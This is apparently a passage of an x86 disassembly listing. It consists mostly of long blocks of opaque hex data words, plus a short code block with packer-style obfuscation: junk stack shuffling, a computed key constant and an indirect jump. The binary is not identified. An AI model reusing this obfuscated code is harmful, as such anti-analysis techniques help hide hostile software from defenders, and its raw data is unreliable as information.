		dd 190FE107h, 3A08BC85h, 2924F972h, 56BD7EFh, 93612CE0h
		dd 0BEA6CBC1h, 0B07F3358h, 51A991B6h, 0CE9A20D9h, 545066CCh
		dd 0F05B1E9Bh, 0A95BBB31h, 88000004h, 980421F4h, 21B54732h
		dd 0FB672975h, 8E0B05D5h, 9BC0BA8Ah, 5D8C75A7h,	0D9CEA179h
		dd 74A40A0Ah, 795D8Ch, 0CBB3D83Eh, 0FC93F965h, 9673759Dh
		dd 3D1466D4h, 0FDD8B40Ah, 96346h, 291FF000h, 0DCDAA8ACh
		dd 8D8F5B5Fh, 443A0C10h, 0F8F6C3C7h, 0DB2A787Bh, 8F93100Eh
		dd 4549C6C0h, 0F7FB787Ah, 8AB02D27h, 0B74494FAh, 1DF0795Dh
		dd 1610E0A8h, 6D6D3DF1h, 7393D107h, 3BA1637Fh, 0C9827E16h
		dd 1A14E309h, 0AC790DF5h, 0BB312BCDh, 417E9h, 7CA01600h
		dd 9A7F7393h, 0CC329EC7h, 7521B477h, 395FCB8Dh,	0EEF26F69h
		dd 8E88581Eh, 6398BC28h, 6F8A1BAAh, 7A77004h, 0E53D4534h
		dd 851A29CBh, 2D53B31Fh, 25F35961h, 4F795DCAh, 26F5278Dh
		dd 8B1F072Ch, 75DB1E75h, 3AA0C473h, 0C2FE5495h,	37674138h
		dd 8C10E07h, 0E8561874h, 0B40AA484h, 0A9BE7550h, 36000008h
		dd 0EEF26F65h, 0A1A52220h, 5256D3D5h, 90D8A80h,	0BEC13E3Ch
		dd 56542190h, 0C06D5D9h, 0BEC08B8Fh, 736D3D41h,	0DA40D0F6h
		dd 795DB602h, 0E0EE6336h, 3DF11610h, 0B64E736Dh, 0F58401BAh
		dd 9DBB312Ah, 16AAAC77h, 3672Ah, 0A35E8200h, 0A0557B7h
		dd 0A0326D01h, 7F73937Ah, 2EF72246h, 8880908Bh,	736FFA22h
		dd 56BC7E7Fh, 0C4585624h, 9A062F02h, 8042143Ah,	2C51B7B1h
		dd 0B4D27E7Ah, 3FA5F9CBh, 0DD2B95ABh, 0C14D7521h, 1AEF35E1h
		dd 0F9F45235h, 3A0EC8F8h, 92B8248Ah, 474BC8C2h,	6A587D77h
		dd 0A8377046h, 0B9AFDFD9h, 6729BD39h, 9D036F94h, 7375D6BEh
		dd 0EE88F6B8h, 0E6B40A6Ch, 7E6540Bh, 0A2730000h, 5D2B2FACh
		dd 12DEE25Fh, 0BD8F9310h, 79464AC7h, 0AFFBFE7Bh, 1693915Eh
		dd 0CC494312h, 7EFBFDC8h, 33B0AA7Ah, 0C1177D0Dh, 73795DB5h
		dd 10E02BA0h, 0B584AA16h, 1AAE96BBh, 713F6351h,	0F4F38B40h
		dd 3101D76Bh, 0AD4B1237h, 0A49E6EF4h, 0C74D2C27h, 1669BB31h
		dd 96000000h, 28FDDh, 89AF0F00h, 0B098BDBBh, 73939E3Eh
		dd 44D89A7Fh
		dd 937AA009h, 0C1947F73h, 0A40A0CD8h, 0B461D238h, 0C1837521h
		dd 995F2F55h, 92D902CEh, 875DA369h, 2620EF21h, 6F3F43C0h
		dd 0DDB05075h, 0C8EC4CB8h, 7952EEBCh, 0DDD7A791h, 0CECDE377h
		dd 0E873758Fh, 17E0B826h, 310CB40Ah, 72B7Ah, 0F1E7B800h
		dd 0A4A27074h, 55572327h, 0C02D4D8h, 0C0BE8B8Fh, 0A3124043h
		dd 575BD8D6h, 0D118E88h, 0BFC34042h, 5278F5EFh,	0B4BC5CC2h
		dd 0E5B8795Dh, 1610E070h, 34E44AAAh, 407F7393h,	6D21EA7Eh
		dd 0CA7EA39Dh, 676131FFh, 0CFF45A42h, 2D524C1Bh, 890FC866h
		dd 1055BBBDh, 6333B972h, 0ADD2D09Dh, 0CDF35FC5h, 0F2DAFF01h
		dd 37423D5Eh, 7FBB312Fh, 7, 1BADDACh, 0A6E40000h, 92B7B180h
		dd 0DB0016AAh, 0A57F7393h, 20B4B27Fh, 0FE6A8B5Eh, 21B51298h
		dd 14804275h, 0A7241EEEh, 75A30969h, 0FF795DB3h, 3D3A93Dh
		dd 5F799D09h, 74BC1138h, 0C1612ABEh, 0F359C5EEh, 737583E4h
		dd 84DE4C0Eh, 28B40A1Bh, 662964Dh, 1EEF0000h, 0D9A7AB28h
		dd 8E5A5EDBh, 390B0F8Ch, 0F5C2C643h, 2B777AF7h,	920F0DDAh
		dd 48C5BF8Eh, 0FA777944h, 0AF2C26F6h, 4593F989h, 0EF795DB4h
		dd 10E0A71Ch, 6D3DF116h, 13E10773h, 0F1B88115h,	52501D43h
		dd 7F05BEBEh, 0FA38B5AFh, 0D60806D4h, 0E80D07h,	2FDA9F6Ch
		dd 58B8BB31h, 739F2AF2h, 0F88C4E7Fh, 130Ch, 0AF406400h
		dd 90925D25h, 56DB7260h, 0F1DD87C2h, 0E4000000h, 522046A6h
		dd 933AE254h, 7C3E7F73h, 9309D2E8h, 0F2C57F73h,	0A50565D1h
		dd 8EB3B17Fh, 93E434A6h, 0CE907F73h, 0B4AE243Ah, 4C67521h
		dd 0A8A27298h, 5D57272Bh, 36FCCBF1h, 0DE03696Bh, 0FCC6F6h
		dd 0A75ACD0Eh, 385C4A13h, 0F45A7268h, 795D8324h, 695E8E50h
		dd 15D76B6Eh, 4FB52142h, 7375A848h, 7E3AA86Ah, 7AB40A36h
		dd 57AE89Fh, 36070000h,	0F1BFC340h, 0A67276F3h,	512327A4h
		dd 0DDADE5Bh, 0C38F920Fh, 0AA2725F2h, 60DDD7A6h, 128F915Ch
		dd 0C7443E0Eh, 6DAB11A1h, 7795DBBh, 10E0BF34h, 6D3DF116h
		dd 0CB9A4E73h, 2BF8ACD1h, 0C024082Dh, 6A084D07h, 615B2BB1h
		dd 2F90E9E4h, 726BB31h,	53000000h, 27DDh, 10E0E400h, 0B484AA16h
		dd 7FA48ABAh, 840E00BEh, 0A37327F0h, 32AA84A9h,	5D23F379h
		dd 856D9290h, 199BA21Fh, 0A2000000h, 0F11610E0h, 7393DAFDh
		dd 762FD17Fh, 0BA2620F0h, 0A3C8C694h, 9D0627BBh, 0AA1610E0h
		dd 9334E44Ah, 0B2407F73h, 5284EAE0h, 28F18587h,	2490B588h
		dd 21B45CBEh, 2A965875h, 0BD3A3404h, 245C5B7Fh,	15B307E8h
		dd 50E44A48h, 44B0AA7Ah, 0C2564C1Eh, 5D8659F9h,	0ED2B91F1h
		dd 87795D42h, 25F359C5h, 4F795D42h, 83E9F98Dh, 730F64E4h
		dd 0CD34B6DAh, 0A69D2EC6h, 88F4B612h, 2969462h,	0A16C92F2h
		dd 0A59B6D9Fh, 716B3B11h, 2620F0F4h, 658E6101h,	6B3493F9h
		dd 9C5E7907h, 0D8C5982Eh, 0D28964AAh, 454h, 9D1A10E1h
		dd 50CDCB99h, 17E804Ch,	0B8352BFDh, 6CE9E7B4h, 0FFCC3D69h
		dd 0B1808401h, 6B363AB7h, 18E8EC69h, 0EB7BA11Eh, 5DBA5785h
		dd 990EE179h, 0AA1610E0h, 91B6B884h, 0F0F415A9h, 4D012620h
		dd 0AA5E837Dh, 3B7DCDEh, 2D123735h, 135812CBh, 72743F65h
		dd 0CBCD994Dh, 18D1D165h, 4BC8C292h, 312F2950h,	4E8DBBh
		dd 0F4BA0000h, 32980421h, 755B4440h, 7CF79824h,	9AE50287h
		dd 14441548h, 1A80D400h, 0BBBD88AEh, 5224FA3Eh,	0EDE795Bh
		dd 1A807648h, 0CCCE999Dh, 0F359B9A7h, 795B5225h, 52E7359Bh
		dd 0CF91795Bh, 0E5255517h, 3598F3E4h, 9D290296h, 30000003h
		dd 980421F4h, 5BB1DF32h, 93F9C175h, 795BB145h, 88ADA375h
		dd 0C026E8A0h, 1D17E79Bh, 2DEB51B1h, 47795BB1h,	4E28F185h
		dd 395D1DD6h, 0A428DAEh, 2CEE82D4h, 70D03C59h, 5C817B4Ah
		dd 27CAE074h, 59737320h, 572A1A97h, 0CE9CC22Eh,	0C62C3CD0h
		dd 790B0223h, 0BA6E9355h, 2383EFEDh, 0B461FBDh,	68BDA16Dh
		dd 179A97D3h, 40099D5Fh, 0B527E074h, 2D23F5E2h,	64B41A08h
		dd 106D0B71h, 1682E84Eh, 0FCBE90B6h, 220A2F31h,	0FF1228BCh
		dd 0A1672353h, 8E5E62DFh, 0EBBB6F94h, 915F85F1h, 0D6FBF9C7h
		dd 0D3F488EEh, 552710E3h, 0B9863A5Fh, 48AE96BBh, 845076E2h
		dd 7EDEEE82h, 47E3BB5Ah, 0B1E11905h, 0DE3CA3A4h, 384EE214h
		dd 6DFAF72Dh, 0C010C34Fh, 930E3DC4h, 73989261h,	93B9258Bh
		dd 0BEA6CBC1h, 4D73612Ah, 775F847Eh, 140BCDE3h,	2E7461BAh
		dd 0B281F875h, 5535D9FAh, 62000000h, 980421F4h,	930AD238h
		dd 6C2E7F73h, 868C8D8h,	73937AA2h, 34E44A7Fh, 407F7393h
		dd 7004C67Eh, 5BBEC35Ah, 0E33F575h, 0EDB9FC20h,	840E2ECDh
		dd 0CC06DAF0h, 3B81795Bh, 0D19CC282h, 2EC2AACFh, 598E1861h
		dd 1A567AC1h, 1BF4D09Bh, 0E37460F4h, 0A1000000h, 0B5B380A6h
		dd 817B4B21h, 0DDDBA85Ch, 46ACAB8h, 7F7393D4h, 340A9E60h
		dd 57456A64h, 41666431h, 1FEFC559h, 466AA825h, 3970425Ah
		dd 51BAF9Ch, 7F7370F8h,	0D80066C6h, 5C7F7290h, 0A096689Ah
		dd 29FF937Bh, 25F35959h, 4F7F7290h, 0A6AA278Dh,	414110D6h
		dd 72903DDBh, 0F75377Fh, 309C02EAh, 90B26AD0h, 4C67F72h
		dd 3407A770h, 2E3DA30Fh, 48755AA6h, 46190986h, 0CC4BB11Dh
		dd 0E673741Fh, 0C592B824h, 79464AC7h, 0EAB70D7Bh, 5E39B40Fh
		dd 1B7A7h, 7D734400h, 302EFC00h, 0E1E3AFB3h, 988E6064h
		dd 4C4A171Bh, 2F9ECCCFh, 0E3E76462h, 999D1A14h,	4B4FCCCEh
		dd 0DE04817Bh, 0BF30E84Eh, 7144795Dh, 0F13E0FCh, 739373A9h
		dd 0DD43057Fh, 7D7F4B71h, 0F4C4C8E9h, 264A7830h, 2F95CCBFh
		dd 21F449B2h, 0ED2DDAFEh, 14EA1C5h, 73DD498Fh, 915DEB7Fh
		dd 1C826A8Fh, 0FD2218EAh, 1F43AF15h, 0DA79B843h, 8C9C3035h
		dd 5B89B726h, 93FFC175h, 0DF0FCD33h, 6729795Bh,	0C2160AD3h
		dd 0BD795BDFh, 3841BE77h, 7EC1597Bh, 9Dh, 1610E0ABh, 72703DF1h
		dd 8EAC594Dh, 84547F73h, 39090D8Ah, 0A77A1A3Fh,	52B2127Eh
		dd 0F1635D2Ch, 7F73962Bh, 8E598B4Dh, 0EB7F678Ch, 5BA0B6D5h
		dd 0A11EE075h, 756B3D63h, 12D46850h, 44AA163Fh,	73750236h
		dd 0EA107C3Eh, 9EA21F1Dh, 0C565D3D1h, 87B40EE4h, 0C6F5ACh
		dd 82530000h, 3D0B0F8Ch, 0F2BEC23Fh, 9D6F73F0h,	59262AA7h
		dd 8FDBDE5Bh, 0F673713Eh, 0AC2923F2h, 5EDBDDA8h, 13908A5Ah
		dd 21F75DEDh, 53795DBEh, 13E00B80h, 0B683A915h,	0FF0324B8h
		dd 0A3C9352Fh, 2546DAD4h, 0E046A6BCh, 7F739338h, 10E67A3Ch
		dd 6D214640h, 0F498D99Dh, 0C75AD1A8h, 21F4E461h, 0D8389804h
		dd 73BAAA72h, 780CCE7Fh, 219C0F62h, 43AF7175h, 0CF34BD1Fh
		dd 4EE29104h, 701D185h,	0F0B6868Ah, 18002523h, 3F9E0FE8h
		dd 7BE1B7E5h, 9AFD6256h, 0E75F7D75h, 0DED8A82Eh, 938D5D61h
		dd 0F2E8BA6Eh, 0B46D01CDh, 0E7645E2Eh, 0AD1913E3h, 41020F89h
		dd 17ABB02Fh, 0A974Eh, 0A69E0000h, 91B6B080h, 99E615A9h
		dd 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h,	658A8855h
		dd 0C1E6E4B1h, 20453B0Dh, 799EA06Ch, 0D4F9F7C5h, 0E68956FFh
		dd 4C681h, 0EE830000h, 74FF5604h, 8F5E0424h
		db 4, 24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		push	esi
		mov	esi, 22B2520Bh
		add	esi, 5C5E196Bh
		mov	ebp, esi
		pop	esi
		mov	ebx, 793E741Bh
		xor	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_551321
; ---------------------------------------------------------------------------
		dd 0B8654041h, 62E2E78h, 0E0FFC503h, 1A9E1096h,	5E324E75h
		dd 24DA2D55h, 5EED9E86h, 3DD55259h, 326C2682h, 3E1AB0CFh
		dd 754BA2E4h, 4839A6C3h, 7CED17B5h, 57E781B9h, 5623B87Ch
		dd 302E8D8Dh, 8D89062Eh, 6280715h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 29C35343h, 0EA0FAE70h, 429E17ADh
		dd 348D8533h, 85C70628h, 62821BDh, 5D70h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 0DEC35747h, 6880F07h
		dd 29000000h, 2800E195h, 3D85C706h, 62811h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FF7C356h, 0B5FFF7B7h, 6282E79h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 9FC35343h, 0A10075F3h
		dd 95FF4038h, 62814D9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0CBC35040h, 86BD9D59h, 89B5C5F1h, 2807D5B5h
		dd 0DF8B6606h, 95FF006Ah, 6280465h, 4AEBC08Bh, 9CF7D77h
		dd 0BEED93CAh, 59F5EB04h, 56B66A17h, 0D7A8E2B7h, 0B57BE0A9h
		dd 0BBBC2781h, 1329FB3Eh, 0C587BD24h, 272BDBCBh, 58B449B6h
		dd 31165E8h, 0AA18874Ah, 7B8B8C29h, 0FC0ADE76h,	0C0D54497h
		dd 0CBAC557Bh, 721D8F40h, 97E93C91h, 0D6000001h, 270F489Dh
		dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h
		dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh
		dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h
		dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h
		dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 6 dup(0)
		dd 0CDE90000h, 6800000Fh, 62E33E2h, 0FB12B9E9h,	34E968FFh
		dd 0AFE9062Eh, 68FFFB12h, 62E365Fh, 0FB12A5E9h,	373168FFh
		dd 9BE9062Eh, 68FFFB12h, 62E3864h, 0FB1291E9h, 394B68FFh
		dd 87E9062Eh, 68FFFB12h, 62E39ECh, 0FB127DE9h, 3A6568FFh
		dd 73E9062Eh, 68FFFB12h, 62E3B61h, 0FB1269E9h, 3BE068FFh
		dd 5FE9062Eh, 68FFFB12h, 62E3C91h, 0FB1255E9h, 3D4568FFh
		dd 4BE9062Eh, 68FFFB12h, 62E3DE7h, 0FB1241E9h, 3F6D68FFh
		dd 37E9062Eh, 68FFFB12h, 62E407Eh, 0FB122DE9h, 0EC3EBBFFh
		dd 84ED108h, 1F6FED24h,	3A82043Bh, 52A01F56h, 8FF4B96Eh
		dd 0A7DEC210h, 0C4FBDF23h, 0DE15F943h, 362E125Eh, 0D75497E8h
		dd 0D1A47CF8h, 0A3EF6F30h, 68BC3C0Bh, 0D6E5D417h, 0A56D67Ah
		dd 9B7F096Dh, 9B2D06D1h, 0E9A6F3E5h, 23011517h,	50C8E839h
		dd 4CB07CFEh, 53786FB4h, 0B2327CFEh, 0B23C8205h, 82C84B1Ah
		dd 26921497h, 0F73196BFh, 40C35BE5h, 6742C7EFh,	0DB668Eh
		dd 9C57357Fh, 0FBCDEE40h, 34B5h, 11DC5600h, 0D755A638h
		dd 0A17CFEF1h, 0F089E435h, 8DF17CFEh, 0C3266B03h, 0E97CFEF0h
		dd 0B6851D69h, 0C551E937h, 0DB5E86h, 45A1FF27h,	0BAFBCE6Bh
		dd 0ACh, 0A3EF6F5Bh, 32B48F11h,	83E452EAh, 7AD6E568h, 0E078C042h
		dd 8E10D572h, 0EEDEBC46h, 0C052A01Fh, 3F1D61E5h, 0B400804Fh
		dd 81CD4D1Ch, 0BD09BF9Dh, 0F6A82F6Bh, 0FE43FCDAh, 347AD675h
		dd 4D8468B4h, 87E981CDh, 0B50382BCh, 9325AF1Dh,	0FE7EBE42h
		dd 7A5EC27Ch, 7A0CE5B0h, 0D4DB9829h, 0E678DC7Ah, 5A3E8C0Bh
		dd 0B256A423h, 8776681h, 4EEB4616h, 8D00000Dh, 0A3DABE10h
		dd 0BFF6DA20h, 0D60DF141h, 0F1280C54h, 8B402472h, 90DE5D22h
		dd 0ADF175ACh, 0C71192C9h, 0E02CACE3h, 65B604FCh, 7CF8D606h
		dd 6FFE9F72h, 87BEA2F0h, 0CD7BB07h, 0D9FC11DCh,	819B15A4h
		dd 0B1CBC78Dh, 0C7715181h, 0D25AAB3Dh, 0A67CFEDAh, 0FE86CE06h
		dd 0A22C25FCh, 0C112940Ah, 7CFE62AAh, 0D38C6ACEh, 7CFE629Ch
		dd 32CA1696h, 0FF97E363h, 58D1F9AEh, 247CA47Dh,	0FBCDF8C8h
		dd 0C83Dh, 0EF6FDE00h, 0BD3C0BA3h, 8D92D76Fh, 837AD6E1h
		dd 8DD35603h, 19FD87F5h, 7E1662E2h, 0E678511Ch,	0FEE3C395h
		dd 1FB1157Ch, 0E3214C9Dh, 0B9597CFEh, 958BA1D1h, 1BF98386h
		dd 0A22601DFh, 7A58C65Eh, 0A7F8D9A4h, 7CFEC044h, 34C650B4h
		dd 220AFCB2h, 0AEE9EC2h, 0C831732Ch, 0D3377AD4h, 93E56641h
		dd 85D42B42h, 61EB4F76h, 937D5BC9h, 7EB39B8h, 82CE4E29h
		dd 5B9E7CEAh, 53EA8EDCh, 58087757h, 0C472D88h, 9860000h
		dd 199CD3B7h, 3AB8EFD3h, 4DCF06EAh, 6BEA2105h, 2984391Dh
		dd 0A387D554h, 0C0A4E86Ch, 0DABE0889h, 0F3D723A3h, 115CADFBh
		dd 697CF8D1h, 0F06FF596h, 0B13510A2h, 7C67D56Dh, 94D0AEFEh
		dd 0AD91DD5Dh, 9BEF6FE2h, 0D6E5234Ah, 69F3577Ah, 368202D1h
		dd 5D7EEEA4h, 4BE8BB6Eh, 0D676F3FAh, 19A3077Ah,	6A35FF3Bh
		dd 0A27DFF91h, 0E3609A22h, 0F5BB855Ch, 88D48D6Bh, 0D07CFE98h
		dd 2CA03030h, 50DAAAAEh, 0ED7C73B8h, 6D467CFEh,	778FEB45h
		dd 7104FBCEh, 0A5000000h, 0A63811DCh, 0E598D324h, 12927AD6h
		dd 23C02EC6h, 0A6F7E1BFh, 7CFEF7F2h, 2F3E8F11h,	4B7CFEF7h
		dd 0B01409E7h, 0F79CD318h, 0CDA67CFEh, 71EF4BA5h, 3964FBCEh
		dd 5000000h, 0A63811DCh, 0FEC78755h, 0DB6DD17Ch, 59377D00h
		dd 0C7CD2469h, 1EF77CFEh, 98E96BF6h, 7CFEC755h,	0A86341A5h
		dd 0FBCE5E4Ch, 0F7F647C9h, 37CFEF0h, 7CFC19Fh, 70000000h
		dd 823E3h, 11DC3E00h, 4DCBA638h, 0E4351FFDh, 7CF8D47Ah
		dd 2D089AFEh, 467D61ADh, 80E27AC6h, 6883D4B5h, 907CF8D7h
		dd 5A10A22Ch, 92B9E181h, 40ABFC33h, 0B87CF8B5h,	2ECCA54h
		dd 0D68538B1h, 46D83C7Ah, 0BB9FEB6Bh, 20B80484h, 881AF3BEh
		dd 0A27BA537h, 0EB3CBE70h, 68524480h, 0C1B694F8h, 0A6307CFCh
		dd 0A8C74502h, 4FAA7A0Eh, 0AD1h, 5D419310h, 795DA326h
		dd 9074C442h, 0AB8FD759h, 0C3A7F574h, 63E29F0Eh, 76FA3115h
		dd 96174E32h, 0B131684Ch, 3B898165h, 0F8D383EAh, 8324F77Ch
		dd 0D6E4F6F9h, 245E297Ah, 0EA0152A2h, 0E7AD6E4h, 49620AAh
		dd 0F8D45BB3h, 9579DD7Ch, 89E435B7h, 0F17CF8D7h, 0ED9AF8Dh
		dd 0F052A335h, 747AD6E7h, 23A37E10h, 0D6132C9Bh, 8A956685h
		dd 682E9276h, 7127BAB7h, 6A75EB18h, 0AB8F19A3h,	2870F2CDh
		dd 3B87074Ah, 9D7641A3h, 36D3890Bh, 559C28FCh, 0FC752E0Ch
		dd 0F870A422h, 0A5270294h, 6C57C55Dh, 0D9C3A1EBh, 0A0327EFEh
		dd 0C29ECD1Eh, 76DA685Dh, 0A5255C98h, 777CC159h, 0AAE85DC2h
		dd 237406DFh, 0EE75D5FDh, 56FB9F03h, 7D94D764h,	9FF52ADh
		dd 0C13E0000h, 0D1548B6Fh, 0F270A78Bh, 587BEA2h, 23A2D9BDh
		dd 713CF1D5h, 5B3F8D0Ch, 785CA024h, 9276C041h, 0AB8FDB5Bh
		dd 0D91465B3h, 217CF8D2h, 0EDC8AD4Eh, 0BA89216Dh, 8967F137h
		dd 7D0FE8B3h, 0F8D5222Ch, 5DDF617Ch, 0F8D4E10Ch, 54B5197Ch
		dd 7CF8D419h, 2A1FFD61h, 0D47E6DBEh, 167A7CF8h,	9F1FFA8Ch
		dd 0B6916F53h, 0CA0DEB35h, 466FE4Ah, 357DFF39h,	0D41B52A3h
		dd 0FB5F7CF8h, 8104DF71h, 22735D3Bh, 7AD6E43Ch,	6F4ADC40h
		dd 75C342EFh, 50D007EBh, 55A121FCh, 0FFEE4FBDh,	0FB768A87h
		dd 0FF750D97h, 360C0449h, 0CD7020FCh, 0CB9F657Eh, 895F3D50h
		dd 7853E5BEh, 6913ABF9h, 0D574165h, 13F17B51h, 2727D829h
		dd 633E70A4h, 0B40597E3h, 685DC6B9h, 8A7F5DC1h,	39B99426h
		dd 52D209EDh, 76F86E06h, 5DC6C625h, 0F0CE3268h,	5DC63037h
		dd 0C39C6768h, 0F622E031h, 0E2466E73h, 0A9F57550h, 0C20E8EC5h
		dd 24FDC82Ah, 81C14192h, 0FF636441h, 613A0567h,	7ACB4DCFh
		dd 64316073h, 0FA3EC287h, 0FFD99270h, 8162197Fh, 0CBE2791Dh
		dd 35052133h, 8CCDAh, 3C8E0B00h, 589E2158h, 6FBF3D74h
		dd 8AD2548Bh, 0A2F06FA6h, 0DFA409BEh, 0F72E1260h, 144B2F73h
		dd 2E654993h, 867E62AEh, 0DD84E738h, 21F47CF8h,	0A3EF6F80h
		dd 70BC3C0Bh, 0EE959D8h, 3CAA428Eh, 85638B5Eh, 26D5B905h
		dd 1F67FCAh, 0E3Fh, 0EDC8E000h,	1D8B236Bh, 4B4703Fh, 0FDCB0000h
		dd 15EEB9ACh, 0E81A3283h, 0B21E7CFEh, 0FEE80A61h, 800A6E7Ch
		dd 489213EEh, 626442B0h, 0F5397841h, 0A82C07AFh, 805ECC64h
		dd 22A5DFAAh, 6FC052DCh, 0A5CD2F75h, 1770F73h, 0AE6BB04Bh
		dd 6D4BBD53h, 61F3CC97h, 0A65C8110h, 152D4A3h, 9F51A0EAh
		dd 0D7CCAA0Eh, 0DF2BE173h, 0BDA28DEEh, 172A965Ch, 6653B2A2h
		dd 43C39E88h, 68A65F7h,	0DF0269BAh, 12769F51h, 0A482F088h
		dd 65B13168h, 0AB60A4C1h, 2C8757E1h, 7E5h, 7155A724h, 8D71B73Ah
		dd 0A488D856h, 0BFA3EB6Dh, 0D7BB0988h, 77F68B22h, 8A0E4529h
		dd 0AA2B6246h, 0C5457C60h, 4F9D9579h, 0F8DCEFFEh, 97380B7Ch
		dd 867EF6Fh, 6D2FBED0h,	0C73DD55Fh, 462468ECh, 55D58403h
		dd 0D19B7F09h, 4A9B2D06h, 7CF8629Ah, 0CDA83A9Eh, 0E61D014Dh
		dd 6881A66h, 0F80DB6B5h, 985EC27Ch, 70F06DFh, 2313F101h
		dd 8B1DF6C1h, 0D68FC43Ah, 62F4587Ah, 0D7BB0787h, 3CD420A0h
		dd 0F8F344C6h, 768A6Eh,	0DA72B83Bh, 74F7E26Ch, 8E0D502Eh
		dd 0B1D39C40h, 6C3C0880h, 74411h, 0B4068300h, 0D01699D0h
		dd 0E737B5ECh, 24ACC03h, 1A68E71Eh, 572C8136h, 6FA68AD8h
		dd 8CC3A7EBh, 0A6DDC10Bh, 0FEF6DA26h, 0DC0C5FB0h
		dd 996C7CF8h, 3811DCF8h, 0D5E155A6h, 0F737CF8h,	7522A27Dh
		dd 84C84CF1h, 5CF47EECh, 0A28064EEh, 21FF43C7h,	7A125EDEh
		dd 5BAB2904h, 3DCA77Dh,	4F9EEF71h, 0AB7CF8D4h, 2E7F6947h
		dd 7AD0E7EAh, 13660A6Eh, 10087A8Ch, 6CBE540h, 8D0A0000h
		dd 9D20573Bh, 0BE3C7357h, 0D1538A6Eh, 0EF6EA589h, 0A508BDA1h
		dd 270B59D8h, 44286CF0h, 5E428C0Dh, 775BA727h, 8DE0317Fh
		dd 0ED7CF8DFh, 0EF6F791Ah, 0BC3C0BA3h, 59D870h,	2470F0D8h
		dd 0A5E4DC92h, 50165858h, 2B873672h, 0A801F5CFh, 6CC64CCDh
		dd 3CDE0CEh, 35A33BC5h,	156557h, 0C8060000h, 35E68512h
		dd 0A28D4A1Bh, 0D03ED622h, 29C23F2h, 6F7E0000h,	3611A3EFh
		dd 9C8C6AB6h, 0B4356F3Ah, 0DA64D26Ah, 0D403F748h, 0B1157CF8h
		dd 8E1696CDh, 5D686674h, 0A33BC529h, 230755D4h,	9CEC6A45h
		dd 2FD09604h, 0FE1D1F74h, 8C572D0Bh, 78135AABh,	3677CF8h
		dd 8196E779h, 0D57AD648h, 8404DF71h, 0C0765438h, 0D46561F1h
		dd 2164429Ch, 0EEBD55A1h, 2789216Fh, 6FF1835Ch,	0EDCB1194h
		dd 0A2FE1C34h, 0E05F2470h, 8632398Ah, 0E2466852h, 592ACE58h
		dd 0DE0EA88Ah, 5CFB30Eh, 910E0000h, 0A1245B3Fh,	0C240775Bh
		dd 0D5578E72h, 0F372A98Dh, 0A10CC1A5h, 2B0F5DDCh, 482C70F4h
		dd 62469011h, 7B5FAB2Bh, 89E43583h, 0F17CF8DEh,	0EF6F7D1Eh
		dd 0D93DF67h, 66F00E3Eh, 337FFFCEh, 9BC31C9Bh, 98E93DBDh
		dd 7AD60855h, 0F38BD757h, 0FA84E885h, 970B6716h, 0AD8801F5h
		dd 1812A52Dh, 18936040h, 7BEB08Eh, 5F000000h, 13AE3h, 0EF6F3E00h
		dd 268EFFA3h, 0EDBDFC24h, 55092h, 0C0128F00h, 0DC22A5DCh
		dd 0F343C1F8h, 0E56D80Fh, 2674F32Ah, 63208D42h,	7BB296E4h
		dd 98CFB3F7h, 0B2E9CD17h, 0A02E632h, 0DE006BBCh, 0A5787CF8h
		dd 0A3EF6F04h, 70BC3C0Bh, 0D80059D8h, 0CB1C70F0h, 7AD6E5A0h
		dd 6EA74D8h, 0F683FB57h, 1A7001h, 0C8110000h, 92246AEDh
		dd 0D6E52A41h, 0CEA4E7Ah, 0C63Dh, 0C0E39800h, 3E000000h
		dd 0A63811DCh, 0F8D4E155h, 2EAE737Ch, 0EBC658E2h, 53432169h
		dd 0BB4D26F1h, 93DD5E39h, 0AAFB8DFBh, 7CF8D743h, 0BC7553B7h
		dd 7AD0CE34h, 0B0FC7C57h, 7BCB4918h, 0DEB75E3h,	8710B418h
		dd 0D8087A72h, 49FAD08h, 61DE0000h, 71F42B0Fh, 9210472Bh
		dd 0A5275E42h, 0C342795Dh, 0D1DC9175h, 0FBDF2DACh, 18FC40C4h
		dd 321660E1h, 4B2F7BFBh, 0B9B40553h, 0C17CF8D9h, 11DC4DEEh
		dd 52F0A638h, 9CE2655Fh, 0AEB1FAD6h, 3C95E6D0h,	387CFEF6h
		dd 0E66742D4h, 0F9D4BE9Ch, 9A472B7Bh, 7CFE4E56h, 0AC2FDC5Ch
		dd 0D660CE66h, 0B73914F2h, 8B69D76Fh, 0E27ACA48h, 43087h
		dd 6919CF00h, 58CB6320h, 0DC885F3Dh, 0CBA63811h, 0FA68004Ah
		dd 7DE1321Ch, 0FF7CF8D4h, 0D6A1039Bh, 489712C1h, 0C34D7A25h
		dd 2B08E031h, 0A07B7AD0h, 6B3AD222h, 35139DEDh,	6938DC40h
		dd 0A087B18h, 3EBDF3Ah,	0AD2A0000h, 0BD40775Bh,	0DE5C9377h
		dd 0F173AA8Eh, 0F8EC5A9h, 8528DDC1h, 472B79F8h,	64488C10h
		dd 7E62AC2Dh, 977BC747h, 0ED00519Fh, 0D7CF8D8h,	11DC993Ah
